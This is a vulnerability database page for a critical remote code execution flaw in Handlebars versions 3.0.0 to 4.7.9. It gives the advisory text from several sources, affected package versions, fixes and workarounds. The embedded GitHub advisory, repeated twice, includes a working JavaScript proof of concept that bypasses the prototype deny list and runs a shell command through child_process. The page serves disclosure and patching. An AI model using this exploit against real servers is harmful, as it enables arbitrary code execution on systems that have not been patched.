Every CVE Search/ Get API key

CVE-2026-106445

Handlebars: JavaScript Injection via Own Property Check Bypass

9.2 CriticalPublic exploitFix available

Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.59%Up 0.2 points since Oct 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.2

Handlebars: JavaScript Injection via Own Property Check Bypass

Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.

Record
CVE-2026-106445
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-184, CWE-1289
Updated
2026-11-02
EUVDEUVD-2026-93952 9.2

Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.

Record
EUVD-2026-93952
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-p8wg-vrv2-v86f 9.2

Handlebars: JavaScript Injection via Own Property Check Bypass

Summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

lookupProperty trusts own properties:

if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
  return result;
}

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

Proof of Concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

  1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
  2. Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
  3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
    // construct code array from template string literal
    '{{#with a}}' +
      '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
      '{{lookup "" (pop)}}' +
      '{{lookup "" (shift)}}' +
    '{{/with}}' +

    // access Function via own property bypass on Function.prototype.constructor
    '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +

    // #each sets depth0=Function without calling it, apply avoids hash body
    '{{#each @root}}{{#if @index}}{{else}}' +
      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
    '{{/if}}{{/each}}'
);

const result = template(
    { fn: function(){}, a: [0] },
    { allowProtoMethodsByDefault: true }
);

console.log(result.trim());

// output: uid=1000(node) gid=1000(node) groups=1000(node)

Workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.

Record
GHSA-p8wg-vrv2-v86f
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-184, CWE-1289
Updated
2026-11-02
NVD 9.2

Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.

Record
CVE-2026-106445
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-184, CWE-1289
Updated
2026-11-02
OSV 9.2

Handlebars: JavaScript Injection via Own Property Check Bypass

Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.

Record
CVE-2026-106445
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-1289, CWE-184
Updated
2026-11-02
OSVDEBIAN-CVE-2026-106445 9.2

Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.

Record
DEBIAN-CVE-2026-106445
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
Show 6 moreShow less
OSVGHSA-p8wg-vrv2-v86f 9.2

Handlebars: JavaScript Injection via Own Property Check Bypass

Summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

lookupProperty trusts own properties:

if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
  return result;
}

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

Proof of Concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

  1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
  2. Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
  3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
    // construct code array from template string literal
    '{{#with a}}' +
      '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
      '{{lookup "" (pop)}}' +
      '{{lookup "" (shift)}}' +
    '{{/with}}' +

    // access Function via own property bypass on Function.prototype.constructor
    '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +

    // #each sets depth0=Function without calling it, apply avoids hash body
    '{{#each @root}}{{#if @index}}{{else}}' +
      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
    '{{/if}}{{/each}}'
);

const result = template(
    { fn: function(){}, a: [0] },
    { allowProtoMethodsByDefault: true }
);

console.log(result.trim());

// output: uid=1000(node) gid=1000(node) groups=1000(node)

Workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.

Record
GHSA-p8wg-vrv2-v86f
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-1289, CWE-184
Updated
2026-11-02
OSVUBUNTU-CVE-2026-106445 9.2

Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.

Record
UBUNTU-CVE-2026-106445
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
OSVCLSA-2026-1791679650 No score

TuxCare security update for handlebars (1 CVE)

TuxCare rebuilt handlebars to address 1 CVE. Fixed in 4.7.8-tuxcare.2.

Record
CLSA-2026-1791679650
Updated
2026-11-02
OSVCLSA-2026-1791827421 No score

TuxCare security update for handlebars (1 CVE)

TuxCare rebuilt handlebars to address 1 CVE. Fixed in 3.0.8-tuxcare.4.

Record
CLSA-2026-1791827421
Updated
2026-11-02
OSVCLSA-2026-1791836630 No score

TuxCare security update for handlebars (3 CVEs)

TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 4.7.7-tuxcare.2.

Record
CLSA-2026-1791836630
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-106445 No score

CVE-2026-106445 in handlebars - Patched by Root

Root has patched CVE-2026-106445 in the handlebars package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-106445
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
handlebars
npm
3.0.0 to 4.7.9
4.7.10
handlebars
TuxCare:npm
4.7.8-tuxcare.0 up to 4.7.8-tuxcare.2, plus listed versions
4.7.84.7.8-tuxcare.1
4.7.8-tuxcare.2
handlebars
TuxCare:npm
3.0.8-tuxcare.0 up to 3.0.8-tuxcare.4, plus listed versions
3.0.83.0.8-tuxcare.13.0.8-tuxcare.23.0.8-tuxcare.3
3.0.8-tuxcare.4
handlebars
TuxCare:npm
From an advisory covering 3 CVEs
4.7.7-tuxcare.0 up to 4.7.7-tuxcare.2, plus listed versions
4.7.74.7.7-tuxcare.1
4.7.7-tuxcare.2
node-handlebars
Debian:12
All versions, plus listed versions
3:4.7.10-13:4.7.7+~4.1.0-13:4.7.9-13:4.7.9-23:4.7.9-33:4.7.9-43:4.7.9-53:4.7.9-6
None known
node-handlebars
Debian:13
All versions, plus listed versions
3:4.7.10-13:4.7.7+~4.1.0-13:4.7.9-13:4.7.9-23:4.7.9-33:4.7.9-43:4.7.9-53:4.7.9-6
None known
node-handlebars
Debian:14
before 3:4.7.10-1, plus listed versions
3:4.7.7+~4.1.0-13:4.7.9-13:4.7.9-23:4.7.9-33:4.7.9-43:4.7.9-53:4.7.9-6
3:4.7.10-1
handlebars
npm
3.0.0 up to 4.7.10
4.7.10
handlebars
Root:npm
before 4.7.7-aikido.5
4.7.7-aikido.54.7.9-aikido.23.0.7-aikido.23.0.8-aikido.23.0.7-aikido.33.0.3-aikido.2
@rootio/handlebars
Root:npm
before 4.7.7-root.io.5
4.7.7-root.io.54.7.9-root.io.23.0.7-root.io.23.0.8-root.io.23.0.7-root.io.33.0.3-root.io.2
Show 6 moreShow less
Affected packages
PackageAffectedFixed
node-handlebars
Ubuntu:18.04:LTS
All versions, plus listed versions
3:4.0.10-5
None known
node-handlebars
Ubuntu:20.04:LTS
All versions, plus listed versions
3:4.1.0-13:4.5.3-13:4.7.2-1
None known
node-handlebars
Ubuntu:22.04:LTS
All versions, plus listed versions
3:4.7.6+~4.1.0-23:4.7.7+~4.1.0-1
None known
node-handlebars
Ubuntu:24.04:LTS
All versions, plus listed versions
3:4.7.7+~4.1.0-1
None known
node-handlebars
Ubuntu:26.10
All versions, plus listed versions
3:4.7.7+~4.1.0-13:4.7.9-5
None known
node-handlebars
Ubuntu:26.04:LTS
All versions, plus listed versions
3:4.7.7+~4.1.0-1
None known

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubmurrez/CVE-2026-1064452026-10-10

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-106445 is a critical vulnerability (CVSS 9.2) in Handlebars-lang Handlebars.js, published October 6, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.59%, the 48th percentile. Fixed in handlebars 4.7.10.

References

Show 5 moreShow less
MoveEnter Open